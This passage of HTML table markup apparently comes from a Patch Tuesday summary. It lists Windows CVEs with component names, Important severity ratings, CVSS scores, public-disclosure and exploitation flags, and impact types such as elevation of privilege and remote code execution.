  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
